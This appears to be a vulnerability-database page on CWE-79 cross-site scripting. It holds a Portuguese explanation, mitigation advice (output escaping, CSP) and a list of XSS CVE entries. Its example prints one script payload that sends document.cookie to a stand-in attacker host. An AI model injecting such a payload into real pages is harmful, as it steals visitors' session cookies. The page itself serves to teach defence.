Fallos del tipo CWE-79

29.654 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-0353MEDIUMDivi Torque Lite <= 4.1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple WidgetsEPSS 0.4%CVE-2022-34323MEDIUMMultiple XSS issues were discovered in Sage XRT Business Exchange 12.4.302 that allow an attacker to execute JavaScript code in the context EPSS 0.4%CVE-2026-9588HIGHAuthenticated Stored Cross-Site Scripting (XSS) in Switchvox SMB Web PortalEPSS 0.4%CVE-2026-27239MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-27255MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-27230MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-27250MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-27228MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-27253MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-5295MEDIUMComments by Startbit <= 1.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2026-50709MEDIUMFrappe Framework 17.0.0-dev - Stored XSS in Notifications Events color renderingEPSS 0.4%CVE-2024-1589MEDIUMSendPress Newsletters <= 1.23.11.6 - Admin+ Stored XSS via Form SettingsEPSS 0.4%CVE-2026-27224MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2026-27242MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-23821MEDIUMGeoServer's GWC Demos Page vulnerable to Stored Cross-Site Scripting (XSS)EPSS 0.4%CVE-2026-40544MEDIUMStored XSS in SOPlanningEPSS 0.4%CVE-2026-27265MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-7071MEDIUMEssential Blocks – Page Builder Gutenberg Blocks, Patterns & Templates <= 4.4.6 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2023-40657—Extension - artio.net - Reflected XSS in Joomdoc component for Joomla 1.0.0-4.0.5EPSS 0.4%CVE-2026-27235MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%